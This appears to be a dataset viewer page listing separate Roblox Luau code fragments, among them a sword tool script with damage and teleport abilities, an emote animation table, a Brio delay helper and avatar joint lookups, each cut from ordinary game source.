if not hit or not hit.Parent then return end
local Hum,FF = hit.Parent:FindFirstChildOfClass("Humanoid"),hit.Parent:FindFirstChildOfClass("ForceField")
if not Hum or FF or Hum.Health <= 0 or IsTeamMate(Services.Players:GetPlayerFromCharacter(Hum.Parent),Player) or Hum.Parent == Character then return end
UntagHumanoid(Hum)
TagHumanoid(Hum,Player)
Hum:TakeDamage(Properties.Damage)
print(Properties.Damage)
end)
PassiveSpecial()
Sounds.Unsheath:Play()
end
function Unequipped()
MouseHeld = false
if Touch then Touch:Disconnect();Touch = nil end
for AnimName,anim in pairs(Animations) do
if anim then
anim:Stop()
end
end
if CurrentMotor then
CurrentMotor:Destroy()
end
if Tool:IsDescendantOf(workspace) and not Tool:IsDescendantOf(Character) then
for index = 1,#EquippedEvents do
if EquippedEvents[index] then
EquippedEvents[index]:Disconnect();EquippedEvents[index] = nil
end
end
end
end
local Seed = Random.new()
function Activated()
if not Tool.Enabled or MouseHeld then return end
MouseHeld = true
Animations.Charge:Play()
end
function Deactivated()
if not Tool.Enabled or not MouseHeld then return end
MouseHeld = false
Tool.Enabled = false
local RightLimb = Character:FindFirstChild("Right Arm") or Character:FindFirstChild("RightHand")
if RightLimb then
RightWeld = RightLimb:FindFirstChildOfClass("Weld")
if RightWeld and not CurrentMotor then
CurrentMotor = Create'Motor6D'{
Name = 'Grip',
--C0 = RightWeld.C0,
--C1 = Tool.Grip,--RightWeld.C1,
Part0 = RightWeld.Part0,
Part1 = Handle,
--Parent = RightArm
}
CurrentMotor.Parent = RightLimb
end
coroutine.wrap(function()
if RightWeld then
Part0 = RightWeld.Part0
Part1 = RightWeld.Part1
RightWeld.Part0 = nil
RightWeld.Part1 = nil
end
end)()
end
local AttackAnims = {--[[Animations.Slash,]]Animations.Stab}
Sounds.Lunge:Play()
Animations.Charge:Stop()
local Anim = AttackAnims[Seed:NextInteger(1,#AttackAnims)]
Anim:Play(0,nil,3);--Anim.Stopped:Wait()
Wait(Anim.Length/3)
if RightWeld then
RightWeld.Part0 = Part0
RightWeld.Part1 = Part1
end
if CurrentMotor then
CurrentMotor:Destroy();CurrentMotor = nil
end
Tool.Enabled = true
end
Remote.OnServerEvent:Connect(function(Client,Key)
if Client ~= Player or not Key or not Humanoid or Humanoid.Health <= 0 or not Tool.Enabled then return end
if Key == Enum.KeyCode.Q then
ChangeTime(Properties.TimetoChange)
elseif Key == Enum.KeyCode.E and Properties.LightTeleport then
Properties.LightTeleport = false
delay(5,function()
Properties.LightTeleport = true
end)
LightTransport()
end
end)
Tool.Equipped:Connect(Equipped)
Tool.Unequipped:Connect(Unequipped)
Tool.Activated:Connect(Activated)
Tool.Deactivated:Connect(Deactivated)
Services.Lighting.Changed:Connect(function(property)
if property == "ClockTime" then
PassiveSpecial()
end
end)
EnableParticles(false)
SpecialParticles(true)
PassiveSpecial()--trigger it initially on start
|
-- Existance in this list signifies that it is an emote, the value indicates if it is a looping emote
|
local emoteNames = { wave = false, point = false, dance1 = true, dance2 = true, dance3 = true, laugh = false, cheer = false}
function configureAnimationSet(name, fileList)
if (animTable[name] ~= nil) then
for _, connection in pairs(animTable[name].connections) do
connection:Disconnect()
end
end
animTable[name] = {}
animTable[name].count = 0
animTable[name].totalWeight = 0
animTable[name].connections = {}
|
--[=[
Constructs a new brio that will cleanup afer the set amount of time
@since 3.6.0
@param time number
@param ... any -- Brio values
@return Brio
]=]
|
function Brio.delayed(time, ...)
local brio = Brio.new(...)
task.delay(time, function()
brio:Kill()
end)
return brio
end
|
--[ Get Items ]--
|
local Humanoid = Avatar:WaitForChild("Humanoid")
local Torso = Avatar:WaitForChild("Torso")
local RH = Torso:WaitForChild("Right Hip")
local LH = Torso:WaitForChild("Left Hip")
local RL = Avatar:WaitForChild("Right Leg")
local LL = Avatar:WaitForChild("Left Leg")
local RJ = Avatar:WaitForChild("HumanoidRootPart"):WaitForChild("RootJoint")
|
--[=[
Gets and sets the current position of the AccelTween
@prop p number
@within AccelTween
]=]
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.